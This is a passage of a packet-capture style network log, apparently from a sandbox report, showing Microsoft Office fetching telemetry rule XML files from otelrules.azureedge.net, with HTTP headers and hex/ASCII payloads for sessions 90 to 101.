SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49798	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76165599-601e-000d-1a02-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd482lxwq1dp2t1zwkc000000031g00000000fk1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49799	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 29f28342-e01e-003c-5d00-17c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48vlsxxpe15ac3q7n00000003a000000000bcqv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49800	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	591	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 388b9e70-001e-000b-088c-1815a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48hzllksrq1r6zsvs00000000n0000000007ctx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49801	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: c7b66cba-b01e-005c-04ff-164c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48vhs7r2p1ky7cs5w00000003t0000000004xz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49802	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:47 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:47 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 173e0f62-801e-00a3-24fe-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112647Z-1657d5bbd48jwrqbupe3ktsx9w00000003h000000000fu4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:47 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49803	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:47 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3a04fc40-501e-007b-3b73-175ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48lknvp09v995n79000000003500000000006a2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49804	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:48 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 04600955-801e-00ac-55f4-16fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48dfrdj7px744zp8s000000033g00000000c3sw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49806	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:48 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 62f7f1ae-f01e-0096-4d0c-1710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48xdq5dkwwugdpzr000000003tg000000003qu7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49805	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:48 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 4035d6e2-a01e-0002-4602-175074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48gqrfwecymhhbfm8000000026g00000000av7r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49807	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:48 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 87e26173-201e-0051-15e7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48brl8we3nu8cxwgn00000003u00000000025b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49808	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:48 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 11:26:48 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:26:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fcca05a5-501e-00a0-3202-179d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T112648Z-1657d5bbd48brl8we3nu8cxwgn00000003rg000000007tr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 11:26:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49809	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:26:48 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
